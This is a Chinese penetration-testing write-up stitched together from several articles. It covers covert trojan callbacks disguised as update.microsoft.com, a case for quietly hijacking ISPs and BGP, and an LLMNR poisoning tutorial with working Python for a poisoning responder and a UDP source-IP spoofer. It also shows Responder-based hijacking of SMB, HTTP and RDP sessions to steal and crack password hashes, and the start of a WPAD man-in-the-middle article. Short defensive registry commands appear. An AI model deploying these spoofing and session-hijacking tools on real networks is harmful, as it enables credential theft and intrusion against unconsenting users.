在尝试进一步明确内网设备信息,进行了简单的tracert查找,进一步明确了网络链路结构。在扩展渗透的时候受阻,核心路由器只给我回复icmp的信息,不允许我访问其他的任何端口,对于这情况,目前没有有效的方案。 这是一种比较无奈的情况,应该也就是大家一直对Router或者Switch没啥兴趣的原因。这类设备,如果精心配置了安全,那么除了EXP外,其他的控制思路都会十分的艰难。在这台设备上没有尝试已经公开的EXP。因为针对核心设备,EXP会引起的崩溃可能会导致机器瘫痪,重启,产生巨大的影响。 到此,测试就告一段落,清理渗透痕迹撤出,并没有近一步尝试扩展控制。如果继续,进行一段时间的数据包监听等行为,一定能有所突破。

总结

最近一直在研究流量的引导,控制,利用,以适应于各种渗透环境。 所以这是我想到对抗这种环境特殊内网的方案,我认为可以使用这种思路,用在之前渗透的所有目标上,如果有逆向开发人员,漏洞人员的配合,渗透测试将会在内网中如鱼得水。 这种思路经过简单的变形,放大,会是一种极为方便的渗透思路,我这里举一例: flag在一个内网的一台机器上,利用传统针对目标的渗透,无法获取到内网权限。然后该怎么办? 获取目标网络信息,所属IP地址,然后,攻陷该运营商。然后利用流量控制目标1,突然发现目标2也在该运营商范围下,顺势拿下目标2,以此类推,目标3,目标4.。。。。。。。 发现目标10不在该运营商范围内,利用BGP劫持公网路由信息。然后顺势扩展目标11,目标12.。。。。。。 该示例没有计算投入,并且需要大量的技术支持。但是收益一样客观。有人说BGP劫持被监控,实际上是,精心设计的BGP劫持,不会被发现,只是需要精心设计。 再结合实例,谈一下关于渗透行为的敏感性 由于该渗透是通过注入等操作进入内网,然后SNMP获取路由器权限,隧道并没有使用IPSEC加密,这三个步骤不可能逃过行为流量检测。 关于木马回连: 木马回连的地址,全部使用update.microsoft.com域名,在网络设备上,做通网该IP地址的流量进行定向劫持到VPS。将本地机器接入VPS,并且将VPN的IP地址设置为该域名解析的地址。这样就成功使得木马上线。 使用的是empire木马,他的的流量使用SSL加密。关于EMPIRE的上线时间,并没有做特别设置,因为方便测试。在已控的网关与用户个人机器上看到的只会是用户与 update.microsoft.com该域名地址的ssl通信。但是在最外层的路由器上可以看到通网VPS的流量。所以说只要规避之前所说的敏感点,该方案会具备较高的隐蔽性。 并且没有敏感的内网渗透行为,例如利用一个用户账户,登陆不该登陆的机器,访问不该访问的位置,打开不属于自己的文件夹。所有设备的发现没有靠扫描(第一步除外)。关于flag,只是通过捕获用户,检查用户访问位置,是否能访问flag文件夹。重复过程,直到抓到访问flag的用户。 所以如果木马等工具能不被安防设备或者软件查杀,该渗透方案具有较高隐蔽性。由于该内网中没有行为检测设备或者我没有控制到,不能进一步判断。在设计之初,就考虑到顶级安全行为检测设备。由于非开发,没有考虑在机器端防护的部分。 最后说下这个思路的弊端 如果没有一个很成熟的钓鱼等方案,例如下载exe时做302跳转;劫持安全部门网页,提供安全更新;Router与Switch没有配置漏洞可以利用。那么该思路极其依赖漏洞的使用,例如需要Router与Switch远程命令执行漏洞来控制网络设备;flash,浏览器等软件的本地命令执行漏洞。 需要操作路由器来对路由表进行优化与流量的引导,至少得对路由器,路由协议,交换机有深入或者较为深入的了解。 对HTTPS没有什么好的解决方案。 所以如果某个安全研究人员或者初级团队使用,会遇到较多的瓶颈。 但是如果你有一个,个人能力合适,人员方向覆盖较全的团队,你将会收到一些惊喜。 下一步,我将研究如何对抗这种方案。

基本介绍

本文将会对 LLMNR 协议进行分析并用 Python 实现质询和应答。后半部分则会重点阐述利用 LLMNR 在名称解析过程中的缺陷进行实战攻击的部分思路。 下面是本文的每一小节的 title :
0x00 LLMNR 简介 0x01 LLMNR 协议分析 0x02 LLMNR 名称解析过程 0x03 编程实现 LLMNR 的质询和应答 0x04 LLMNR Poison 攻击原理 0x05 利用伪造源 IP + LLMNR Poisone 劫持内网指定主机会话 0x06 LLMNR Poison 实战攻击思路 0x07 总结

LLMNR 简介

从 Windows Vista 起,Windows 操作系统开始支持一种新的名称解析协议 —— LLMNR,主要用于局域网中的名称解析。LLMNR 能够很好的支持 IPv4 和 IPv6,因此在 Windows 名称解析顺序中是一个仅次于 DNS 的名称解析方式,更重要的是在 Linux 操作系统中也实现了 LLMNR。

LLMNR 协议分析

LLMNR 协议定义在 RFC 4795 中。文档里详细的介绍了有关于 LLMNR 协议的结构,配置以及安全性等内容。 LLMNR 的协议结构如下图所示:
图 1:LLMNR 协议结构
LLMNR 协议结构图中各个字段的说明如下: ID - Transaction ID是一个随机生成的用来标识质询与应答的 16 位标识符。 QR - 0 为查询,1 为响应 OPCODE - 是一个 4 位的字段,用来指定在此消息中的查询类型。该字段的值会在发起查询时被设置并复制到响应消息中。此规范定义了标准的查询和响应 (OPCODE 的值为零) 的行为。在未来的规范中可以在 LLMNR 中定义其他的 OPCODE。 C - 冲突位。 TC - 截断位。 T - 暂定,无标志。 Z - 保留位。 RCODE - 响应码。 QDCOUNT - 16 位的无符号整数,指定在质询部分中的条目数量。 ANCOUNT - 16 位的无符号整数,指定在应答部分中的资源记录数量。 NSCOUNT - 16 位的无符号整数,指定在权威记录部分的名称服务器资源录数量。 ARCOUNT - 16 位的无符号整数,指定在附加记录部分的资源记录数量。

LLMNR 名称解析过程

一个完整的正常的 LLMNR 名称解析过程如下图所示:

注:假定主机 B 已加入了组播组中。


图 2:一个完整的正常的 LLMNR 名称解析过程
LLMNR 名称解析过程所使用的传输协议为 UDP 协议,IPv4 的广播地址为 - 224.0.0.252, IPv6 的广播地址为 - FF02:0:0:0:0:0:1:3 或 FF02::1:3。在主机中所监听的端口为 UDP/5355。 使用 Wireshark 抓取一个完整的 LLMNR 质询/应答过程的数据包,如下图所示:
图 3:一个完整的 LLMNR 质询/应答过程数据包
从上图可以看到,编号为 No.3 和 No.4 的数据包证明了主机 A 分别使用自己的 IPv4 地址和 IPv6 地址向 IPv4 和 IPv6 的广播地址进行了广播,质询数据包的 TID 为 0xc7f7。查询的地址类型为请求主机 B 的 IPv4 地址,这一点可以从 A 或 AAAA 进行区别。一个 A 表示请求的地址类型为 IPv4 地址,四个A(AAAA)表示请求的地址类型为 IPv6 地址。 编号为 No.5 的数据包证明了主机 B(192.168.16.130)收到请求数据包后,发现有主机请求自己的 IP地址,于是向主机 A 进行单播应答,将自己的 IP 地址单播给了主机 A,应答的地址类型为 IPv4,同时该数据包的 TID 的值为上面主机 A 进行广播的数据包的 TID —— 0xc7f7。 质询的数据包详细结构如下图所示:
图 4:质询的数据包详细结构
应答的数据包详细结构如下图所示:
图 5:应答的数据包详细结构

编程实现 LLMNR 的质询和应答

通过上面的内容,可以很直观的理解 LLMNR 进行名称解析的详细过程。使用 Python 可以快速实现 LLMNR 协议的质询和应答编程。 LLMNR 协议的质询过程实际上就是进行了一个广播。直接看代码。 质询的代码如下:
https://github.com/coca1ne/LLMNR_Her0in

#!python #/usr/bin/env python __doc__ = """ LLMNR Query , by Her0in """ import socket, struct class LLMNR_Query: def __init__(self,name): self.name = name self.IsIPv4 = True self.populate() def populate(self): self.HOST = '224.0.0.252' if self.IsIPv4 else 'FF02::1:3' self.PORT = 5355 self.s_family = socket.AF_INET if self.IsIPv4 else socket.AF_INET6 self.QueryType = "IPv4" self.lqs = socket.socket(self.s_family, socket.SOCK_DGRAM) self.QueryData = ( "\xa9\xfb" # Transaction ID "\x00\x00" # Flags Query(0x0000)? or Response(0x8000) ? "\x00\x01" # Question "\x00\x00" # Answer RRS "\x00\x00" # Authority RRS "\x00\x00" # Additional RRS "LENGTH" # length of Name "NAME" # Name "\x00" # NameNull "TYPE" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)? "\x00\x01") # Class namelen = len(self.name) self.data = self.QueryData.replace('LENGTH', struct.pack('>B', namelen)) self.data = self.data.replace('NAME', struct.pack(">"+str(namelen)+"s", self.name)) self.data = self.data.replace("TYPE", "\x00\x01" if self.QueryType == "IPv4" else "\x00\x1c") def Query(self): while(True): print "LLMNR Querying... -> %s" % self.name self.lqs.sendto(self.data, (self.HOST, self.PORT)) self.lqs.close() if __name__ == "__main__": llmnr = LLMNR_Query("Wooyun") llmnr.Query()
要对 LLMNR 协议的质询请求进行应答,首先要将本机加入多播(或组播)组中,所使用的协议为 IGMP。具体编程实现的方式可以直接构造数据包使用 UDP 发送,也可以使用套接字提供的 setsockopt 函数进行设置。 应答的实现方式很简单,创建一个 UDP 套接字使用 setsockopt 函数加入多播组并监听 5355 端口,当然也可以使用非阻塞的 SocketServer 模块实现,效果更佳。 具体代码如下:
https://github.com/coca1ne/LLMNR_Her0in

#!python #/usr/bin/env python __doc__ = """ LLMNR Answer , by Her0in """ import socket, struct class LLMNR_Answer: def __init__(self, addr): self.IPADDR = addr self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.init_socket() self.populate() def populate(self): self.AnswerData = ( "TID" # Tid "\x80\x00" # Flags Query(0x0000)? or Response(0x8000) ? "\x00\x01" # Question "\x00\x01" # Answer RRS "\x00\x00" # Authority RRS "\x00\x00" # Additional RRS "LENGTH" # Question Name Length "NAME" # Question Name "\x00" # Question Name Null "\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)? "\x00\x01" # Class "LENGTH" # Answer Name Length "NAME" # Answer Name "\x00" # Answer Name Null "\x00\x01" # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)? "\x00\x01" # Class "\x00\x00\x00\x1e" # TTL Default:30s "\x00\x04" # IP Length "IPADDR") # IP Address def init_socket(self): self.HOST = "0.0.0.0" self.PORT = 5355 self.MulADDR = "224.0.0.252" self.las.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.las.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.las.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST)) def Answser(self): self.las.bind((self.HOST, self.PORT)) print "Listening..." while True: data, addr = self.las.recvfrom(1024) tid = data
namelen = struct.unpack('>B', data
)
name = data
data = self.AnswerData.replace('TID', tid) data = data.replace('LENGTH', struct.pack('>B', namelen)) data = data.replace('NAME', name) data = data.replace('IPADDR', socket.inet_aton(self.IPADDR)) print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr
, name) self.las.sendto(data, addr) self.las.setsockopt(socket.IPPROTO_IP, socket.IP_DROP_MEMBERSHIP, socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST)) self.las.close() if __name__ == "__main__": llmnr = LLMNR_Answer("11.22.33.44") llmnr.Answser()
最终执行后结果如下图所示:
图 6:Python 实现 LLMNR 质询与应答 1
下图为模拟主机查询主机名称为Wooyun的结果
图 7:Python 实现 LLMNR 质询与应答 2

LLMNR Poison 攻击原理

图 2 说明了一个完整的正常的 LLMNR 质询/应答过程。由于 LLMNR 使用了无连接的 UDP 协议发送了广播,之后,多播组内的主机就可以对发起名称解析的主机进行应答,因此,在这个过程中,攻击者就有机可乘。 攻击者可以将自己的主机加入到组播组中,当收到其他主机进行名称解析的质询请求,就可以对发起此次名称解析的主机进行“恶意”应答。利用此缺陷进行欺骗攻击的方式称为 LLMNR Poison 攻击。 “恶意”应答过程如下图所示:
图 8: 攻击者进行“恶意”应答过程图示
LLMNR 名称解析的最大缺陷就是,在当前局域网中,无论是否存在主机 B(假定机器名为:SECLAB-HER0IN),只要有主机请求 SECLAB-HER0IN 都会进行一次 LLMNR 名称解析。

利用伪造源 IP + LLMNR Poisone 劫持内网指定主机会话

由于 UDP 是面向无连接的,所以不存在三次握手的过程,因此,在 LLMNR 名称解析过程中,UDP 的不安全性就凸显出来了。攻击者可以伪造源 IP 地址向广播地址发送 LLMNR 名称解析质询,之后攻击者再对这个质询进行应答,完全是一场 “自导自演” 的戏。 修改 UDP 源 IP 的代码如下:
https://github.com/coca1ne/LLMNR_Her0in

#!python #/usr/bin/env python __doc__ = """ UDP Source IP Spoof , by Her0in """ import socket, time from impacket import ImpactDecoder, ImpactPacket def UDPSpoof(src_ip, src_port, dst_ip, dst_port, data): ip = ImpactPacket.IP() ip.set_ip_src(src_ip) ip.set_ip_dst(dst_ip) udp = ImpactPacket.UDP() udp.set_uh_sport(src_port) udp.set_uh_dport(dst_port) udp.contains(ImpactPacket.Data(data)) ip.contains(udp) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.sendto(ip.get_packet(), (dst_ip, dst_port)) if __name__ == "__main__": QueryData = ( "\xa9\xfb" # Transaction ID "\x00\x00" # Flags Query(0x0000)? or Response(0x8000) ? "\x00\x01" # Question "\x00\x00" # Answer RRS "\x00\x00" # Authority RRS "\x00\x00" # Additional RRS "\x09" # length of Name "Her0in-PC" # Name "\x00" # NameNull "\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)? "\x00\x01") # Class ip_src = "192.168.169.1" ip_dst = "224.0.0.252" while True: print("UDP Source IP Spoof %s => %s for Her0in-PC" % (ip_src, ip_dst)) UDPSpoof(ip_src, 18743,ip_dst , 5355, QueryData) time.sleep(3)
为了不要那么暴力,加个延时,实际上在 LLMNR 应答数据包中有一个 TTL 默认为 30s,所以在实战中为了隐蔽可以将延时加大 具体攻击过程如下:
攻击者(IP:111.111.111.111)伪造受害者(IP:222.222.222.222)向 LLMNR 协议的广播地址发送 LLMNR 质询,请求解析名称为:HER0IN-PC(IP:333.333.333.333) 的 IP 攻击者(IP:111.111.111.111)加入多播组收到 “受害者” 的请求,对质询进行响应,将自己的IP(可以是任何 IP)单播给受害者
攻击的效果就是,受害者只要使用计算机名称访问 HER0IN-PC 这台主机的任何服务,都会被重定向到攻击者指定的 IP 上。 测试环境如下:
攻击者主机 IP:192.168.169.5(启动伪造 IP 进行 LLMNR 广播的恶意程序 以及 LLMNR 应答程序) 受害者 IP:192.168.169.1 无需任何操作 当受害者访问内网某台主机的 WEB 服务时被重定向到攻击者主机的 WEB 服务器
看图说话,图片信息量较大 ;)
图 9 : 攻击者主机 启动相应的程序,并提供了 WEB 服务

图 10 : 当受害者访问win2k3-3a85d681 这台主机的 WEB 服务时被重定向到攻击者主机的 WEB 服务器

图 11 : 可以明显的看到受害者原本想访问的 WEB 服务器是 Windows Server 2003 却被攻击者“重定向”到了一台 Linux 主机上
关于“利用伪造源 IP + LLMNR Poisone 劫持内网指定主机会话”就这么多,图片信息量较大,请自行梳理,利用这种攻击手段可以做很多事情,剩下的全靠自由发挥 ;)

LLMNR Poison 实战攻击思路

在局域网中,名称解析的行为是非常频繁的,只要有使用计算机名称,准确的说是 NetBIOS名称或非 FQDN 域名的地方都会产生名称解析,如 PING 主机名称,使用主机名称连接各种服务等等。Windows 系统也默认启用了 NetBIOS 和 LLMNR。这就使得 LLMNR Poison 攻击的实战价值有所提升。但实际上在实战中使用 LLMNR Poison 攻击时,会遇到一些问题。如,5355 端口被占用,防火墙拦截等,不过这些小问题都是可以解决掉的,另外还有一些不可控的客观因素,如网络稳定性等等。但这些问题也不是非常普遍不可解决的。 下面提供几种在实战中可用的 LLMNR Poison 攻击思路。以 Responder 做为攻击工具进行演示。 劫持会话获取 HASH 通过劫持会话获取受害者的 HASH,有两种常见的攻击场景。
劫持 SMB 会话获取 HASH 利用 LLMNR Poison 攻击劫持 SMB 会话与 SMBRelay 攻击相似,本质上都是对 SMB 的会话进行劫持,但是 SMBRelay 攻击是被动式的攻击,同时,攻击者所劫持的 SMB 会话只有在该会话本身是一次成功的会话的情况下才能拿到目标服务器的权限。利用 LLMNR Poison 攻击劫持 SMB 会话,只要有主机使用计算机名称访问其他主机的共享时就可以得到发起共享请求的主机的 HASH。但是这个 HASH 只能用于爆破(因为已知了挑战),无法直接登录主机。可以将 LLMNR Poison 攻击 与 SMBRelay 攻击结合起来,提升攻击力。 使用 HTTP 401 认证获取 HASH 使用 HTTP 401 认证同样也可以获取到客户端机器的 HASH。
攻击的方式大致为:
结合社工欺骗受害者访问一个正常的但已嵌入类似于 的网页。 当受害者访问网页后,如果受害者主机系统版本是 Vista 之后的,就会产生 LLMNR 名称解析。 此时攻击者的主机(已启动了 Responder )就会收到受害者主机的 HASH。 当然也可以一直启动 Responder 进行监听,不需要其他额外的操作,只要有主机使用计算机名称请求 SMB 或 WEB 服务就可以得到相应主机的 HASH。

图 12:SMB 会话劫持获取 HASH

图 13:使用 John 破解 SMB 会话劫持到的 HASH
劫持会话进行钓鱼 使用 HTTP 401 认证服务器进行钓鱼。
图 14: HTTP 401 认证服务器钓鱼

图 15: “钓鱼”攻击获取到了 HASH

劫持 WPAD 获取上网记录
在 Windows 系统中,默认启用了 WPAD 功能,可以对 IE 浏览器-工具-internet-连接-局域网设置-自动检测设置 和 系统服务中的 WinHttpAutoProxySvc 服务进行开关设置。 启用了 WPAD 的主机,会持续请求名为WPAD的主机名称,因此可以利用 LLMNR Poison 攻击更改受害者主机的浏览器代理设置。这样就可以在攻击者自己的代理服务器中看到受害者的上网浏览记录,也可以在受害者正在访问的网页中嵌入任何你想要嵌入的恶意脚本代码,如各种钓鱼,弹框认证,下载文件等等。另外,由于 WPAD 是一个系统的 HTTP 代理设置,所以 Windows 更新也会使用这个代理,这样就可以利用 Windows 更新将木马下载到受害者主机并自动执行。 但是 WPAD 在实战中也同样会受到各种不可控的客观因素的影响。只有手动设置了浏览器代理配置,通过 WPAD 的代理上网的效果才比较明显。
“剑走偏锋” 获取服务器密码
上面已经提到,在局域网中,只要有主机使用其他主机的名称请求服务就可以产生名称解析行为。假定有这样一个场景,在渗透到内网后,进一步渗透的条件很苛刻,这时候你“黔驴技穷”(:0)了,为了能在内网中拿到一台服务器,以便“站稳脚跟”。或许你可以采用“剑走偏锋”的思路,利用 LLMNR Poison 攻击进行 3389 连接欺骗,拿到服务器的密码,这样做的确有些冒险,可是总好过你直接修改 IP 去欺骗登录要好很多(真有人这么做过 ~,~!)。
测试环境如下:

一台 Windows Server 2008 (Win2k8 支持 LLMNR)作为管理员的主机 IP:172.16.0.8 一台 Windows Server 2003 (假定为内网的一台服务器) 机器名称:WIN2K3-3A85D681 IP:172.16.0.3 一台 Windows XP (已开 3389 为了演示效果所用) IP:172.16.0.100 一台 BT5-R3 攻击者的主机 (启动 Responder) IP:172.16.0.128
场景如下: 管理员的主机(Win2k8)连接内网服务器(Win2k3)进行常规维护,攻击者(BT5-R3)利用 LLMNR Poison 攻击劫持了 3389 连接会话,为了更加明显的演示出攻击效果,我将 3389 连接会话重定向到一台 XP 中。 OK,看图说话;),攻击效果如下:
图 16: 管理员(Win2k8)连接内网服务器(Win2k3),但是被 LLMNR Poison 攻击劫持,重定向到了 XP 上。

图 17:从攻击者的机器中,也可以看到 Responder 做了“恶意”应答,同时,利用 lcx 转发 3389 也有数据流在跑,可以从 IP 中判断出来

图 18:在 XP 中已经安装了某记录登录密码的程序,可以记录任何成功或失败的登录信息 :D,上图中可以看到管理员输入的登录信息。

总结

关于 LLMNR Poison 攻击的实战思路有很多,包括劫持 FTP,MySQL,MSSQL Server等等。具体的实现,请自由发挥。 为了防止遭到 LLMNR Poison 攻击,可以导入下面的注册表键值关闭 LLMNR:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
不过,关闭了 LLMNR 以后, 可能用户的一些正常需求会受到影响,:)

前言

WPAD 这项技术已经诞生了近十年的时间,其最大的优势就在于,在一个或多个局域网中,当需要为内网中的用户设置不同的代理服务器去连接互联网或者企业内网时,利用 WPAD 就能够灵活方便的进行配置。由于配置代理服务器的方式对于用户来说是透明的,无需用户手动操作的,因此,攻击者就可以利用这个特点使用 WPAD 进行内网的渗透。 利用 WPAD 进行内网渗透的技术已经出现了很多年了,一直没有变得像 ARP Spoof 等攻击方式那么流行,可能是由于常规的内网渗透中,如 Windows 域的渗透,攻击者只需拿到域控的权限即可控制域中的任何机器,因此,攻击者往往只关注如何抓到域管理员的 HASH。然而即使在工作组的渗透中,也有着比 WPAD 更有效的攻击方式。但是在攻击者“无(qian)计(lv)可(ji)施(qiong);)”的时候,也会采用一些“非主流”的方式进行内网渗透。 本文将会阐述 WPAD 协议的工作原理,实现方式以及在内网渗透中的应用思路,仅仅起一个抛砖的作用,希望大牛们多多“引玉”。 PS:本文是笔者利用工作之余的零碎时间所写,难免会有纰漏,还望各位看(da)官(niu)在评论区及时指正 or PM 我。

WPAD 简介

WPAD(Web Proxy Auto-Discovery Protocol) 是 Web 代理自动发现协议的简称,该协议的功能是可以使局域网中用户的浏览器可以自动发现内网中的代理服务器,并使用已发现的代理服务器连接互联网或者企业内网。WPAD 支持所有主流的浏览器,从 IE 5.0 开始就已经支持了代理服务器自动发现/切换的功能,不过苹果公司考虑到 WPAD 的安全风险,在包括 OSX 10.10 及之后版本的操作系统中的 Safari 浏览器将不再支持 PAC 文件的解析。
WPAD 工作原理
当系统开启了代理自动发现功能后,用户使用浏览器上网时,浏览器就会在当前局域网中自动查找代理服务器,如果找到了代理服务器,则会从代理服务器中下载一个名为 PAC(Proxy Auto-Config) 的配置文件。该文件中定义了用户在访问一个 URL 时所应该使用的代理服务器。浏览器会下载并解析该文件,并将相应的代理服务器设置到用户的浏览器中。
PAC 文件
PAC(Proxy Auto-Config) 配置文件使用了 Javascript 对 URL 和代理服务器进行描述。通常使用 proxy.pac 作为文件名, WPAD 的规范则使用 wpad.dat 作为 PAC 文件的文件名。 一个 PAC 文件至少定义了一个名为 FindProxyForURL(url, host) 的 JavaScript 函数,该函数的返回值是一个字符串,指定了 URL 的访问方式,两个参数分别代表了要指定设置的 URL 和 该 URL 所对应的主机名。 PAC 文件内容示例如下:
#!js function FindProxyForURL(url, host) { if (url== 'http://Her0in.org/') return 'DIRECT'; if (shExpMatch(host, "*.wooyun.org")) return "DIRECT"; if (host== 'wooyun.com') return 'SOCKS 127.1.1.1:8080'; if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.2.2.2:8080;DIRECT'; return 'DIRECT'; }
该文件定义了当用户访问 http://Her0in.org/ 时,将不使用任何代理服务器直接(DIRECT)访问 URL。也可以使用 shExpMatch 函数对 host 或者 url 进行匹配设置,SOCKS 127.1.1.1:8080 指定了使用 127.1.1.1:8080 的 SOCKS 代理进行 URL 的访问,PROXY 127.2.2.2:8080;DIRECT 指定了使用 127.2.2.2:8080 的 HTTP 代理进行 URL 的访问,如果连接 127.2.2.2:8080 的 HTTP 代理服务器失败,则直接(DIRECT)访问 URL。 本地搭建提供 WPAD 使用的 HTTP 代理服务器时,需要监听 80 端口,因为客户端浏览器默认会从 80 端口下载 PAC 文件,同时要将 PAC 文件的 MIME 类型设置为 application/x-ns-proxy-autoconfig 或 application/x-javascript-config,不过这不是必须要设置的。 PAC 文件的编码问题 FF 和 IE 只支持系统默认的编码类型 的 PAC 文件,并且不支持 Unicode 编码,如 UTF-8。 关于 PAC 文件的更多说明,可以在 这里:http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/web-browser-auto-proxy-configuration.html 和 这里:https://en.wikipedia.org/wiki/Proxy_auto-config找到。

Windows 中的 WPAD

在 Windows 系统中,从 IE 5.0 开始就支持了 WPAD,并且 Windows 系统默认是开启了 WPAD 功能的。 可以在 IE浏览器的 Internet 选项 — 连接 选项卡 — 局域网设置 — 自动检测设置 中看到,系统默认是勾选此功能的。 如下图所示:
图 1:Windows 中 IE 浏览器的 WPAD 设置
另外, Windows 系统从 IE 5.5 开始支持“自动代理结果缓存”功能,并默认开启了此功能,此功能的机制为每当客户端的浏览器连接成功 HTTP 代理服务器,都会更新 ARP 缓存,所以在客户端浏览器再次连接代理服务器也就是在再次调用 FindProxyForURL() 函数时,会先检查 ARP 缓存列表中,是否存在要连接的 HTTP 代理服务器地址。所以此功能的目的就是缩减系统获取分配对象的开销。 可以使用如下操作关闭此功能:
方法 1:修改注册表
可以使用下面的注册表项禁用“自动代理结果缓存”: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings 将 EnableAutoproxyResultCache(如果不存在请手动创建,类型为 REG_DWORD) 设置为 0 或者 1 。 0 = 禁用缓存;1 = 启用自动代理缓存(这是默认设置)
方法 2:修改组策略设置
在组策略对象编辑器中的“用户配置” — “管理模板” — “Windows 组件” — “Internet Explorer”中,启用 “禁用缓存自动代理脚本”即可。 WinHTTP 的 WPAD 支持 在 Windows 系统中,有一个服务名为 WinHTTP Web Proxy Auto-Discovery Service,其描述信息为 “WinHTTP 实现了客户端 HTTP 堆栈并向开发人员提供 Win32 API 和 COM 自动化组件以供发送 HTTP 请求和接收响应。此外,通过执行 Web 代理自动发现(WPAD)协议,WinHTTP 还提供对自动发现代理服务器配置的支持。” PS:为了安全起见,建议禁用,因为大多数的情况下不会用到。

WPAD 实现方式

WPAD 实现的方式有两种,DHCP 和 DNS,具体内容如下。
使用 DHCP 服务器配置 WPAD
DHCP 是 Dynamic Host Configuration Protocol 的缩写即 动态主机配置协议,它是一个用于局域网的网络协议,处于 OSI 的应用层,所使用的传输协议为 UDP。DHCP 的主要功能是动态分配,当然不仅仅是 IP 地址,也包括一些其他信息,如子网掩码等,也包括本文所讲的 WPAD,这些额外的信息都是在 DHCP 协议中的 “DHCP options” 字段中设置的。 DHCP 的工作流程有 4 个步骤:
图 2:DHCP 工作流程
上图即为客户端与 DHCP 服务器进行交互的过程,其中,前两个流程主要是通过客户端发送广播包,之后 DHCP 服务器进行相应与客户端进行单播通讯。后面的两个流程即为客户端从 DHCP 服务器获取 IP 地址的过程。当客户端已经成功获取到了 IP 地址后同时该地址在客户端重新登录到网络前并未被其他主机占用,那么将不会再执行前两个流程。关于 DHCP 协议的具体内容不是本文的重点内容,不再详述。 当使用 DHCP 服务器配置 WPAD 时, DHCP 协议将会有所改变,具体的改变可以在 RFC 2131 中看到,增加了 DHCPINFORM 消息,此消息用于客户端请求本地配置参数,所以客户端在请求 WPAD 主机时就会发送 DHCPINFORM 请求消息,之后 DHCP 服务器会应答 DHCPACK 确认消息,此消息中的 DHCP Options 字段里就包含 DHCP 的 252 选项即 WPAD 代理服务器的 PAC 文件地址。
https://tools.ietf.org/html/rfc2131
DHCP 服务器响应的 DHCPACK 数据包对应的 DHCP 结构:
图 3: DHCPACK 消息结构
关于 DHCP Options 的其他定义可以查看 DHCP 的 RFC 1531 文档
https://tools.ietf.org/html/rfc1531
在目前的大多数内网中已经不再使用 DHCP 服务器来进行对客户端的 WPAD 的配置了,而是采用了较为简单的方式如 DNS 服务器。
利用 DNS 配置 WPAD
利用 DNS 配置 WPAD 的方式本质上还是利用了 Windows 系统的名称解析机制。 利用 DNS 配置 WPAD 的原理如下: 客户端主机向 DNS 服务器发起了 WPAD+X 的查询请求。如果客户端主机是处于域环境下时,发起的 WPAD+X 的查询请求为 “WPAD.当前域的域名”。DNS 服务器对 WPAD 主机的名称进行解析返回 WPAD 主机的 IP 地址,客户端主机通过 WPAD 主机的 IP 的 80 端口下载并解析 PAC 文件。 利用 DNS 进行 WPAD 的配置,网络管理员只需要在 DNS 服务器中添加 WPAD 主机的解析记录即可。

PS:在工作组环境中,客户端主机执行 WPAD 功能时,就会遵循 Windows 系统的名称解析顺序,查询的名称均为 “WPAD”,如果 OS 版本为 Vista 之后的(包括 Vista)顺序为:DNS => LLMNR => NBNS,反之则为 DNS => NBNS。

利用 WPAD 进行内网渗透

前面的内容已经说明了 WPAD 的工作原理,实现方式和 WPAD 在 Windows 系统中的相关内容。接下来就是本文要重点阐述的内容,如何利用 WPAD 进行内网渗透。 上面已经说明,在实际渗透中,大多数情况下遇到的内网都不再使用 DHCP 进行 WPAD 的配置,而利用 DNS 配置 WPAD 或者是内网本身没有对 WPAD 的配置进行设置的情况下,都会默认遵循 Windows 系统的名称解析顺序,因此,可以利用 Windows 系统的名称解析顺序的缺陷进行 WPAD 的“恶意”配置,从而进行内网的渗透。 关于 Windows 系统的名称解析顺序 及利用 Windows 系统的名称解析缺陷渗透的思路可以从我的下面两篇文章中找到。
http://drops.wooyun.org/papers/10887

http://drops.wooyun.org/tips/11086
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击 在 文2 中已经阐述了 如何利用 LLMNR 名称解析进行内网渗透的思路,并给出了相应的利用代码。所以本文将不再赘述“如何利用 LLLMNR 名称解析缺陷进行基于 WPAD 的中间人攻击”。 NetBIOS 协议名称解析过程 一张图看明白 NetBIOS 名称解析过程,以受害者访问局域网中的 WEBSERVER 为例(受害者主机的 NetBIOS缓存中无 WEBSERVER):
图 4:NetBIOS 名称解析过程

NetBIOS 协议分析
使用 Wireshark 可以快速抓取到 NetBIOS 协议名称查询的数据包,如下图:
图 5:NetBIOS 名称查询数据包格式
NetBIOS 的协议结构与 LLMNR 的基本一致。但是与 LLMNR 还是有所不同,其中最明显的一点为 NetBIOS 协议中的主机名称是加密的,通过查阅相关资料,如 dpkt,Wireshark等,可以找到其加密和解密的源码:

PS:以下代码引用自 dpkt 库。


#!python def encode_name(name): """Return the NetBIOS first-level encoded name.""" l =
for c in struct.pack('16s', name): c = ord(c) l.append(chr((c >> 4) + 0x41)) l.append(chr((c & 0xf) + 0x41)) return ''.join(l) def decode_name(nbname): """Return the NetBIOS first-level decoded nbname.""" if len(nbname) != 32: return nbname l =
for i in range(0, 32, 2): l.append(chr(((ord(nbname
) - 0x41) << 4) | ((ord(nbname
) - 0x41) & 0xf))) return ''.join(l).split('\x00', 1)

从代码中不难分析出加解密的过程,至于为何 pack 的时候使用 16 请参阅 文1 中对 NetBIOS 名称的阐述。 NetBIOS 协议的内容比较多,其中有不少与我们在内网渗透中所使用的一些命令有直接的关系,更多内容可以查阅 NetBIOS 协议的 RFC 文档
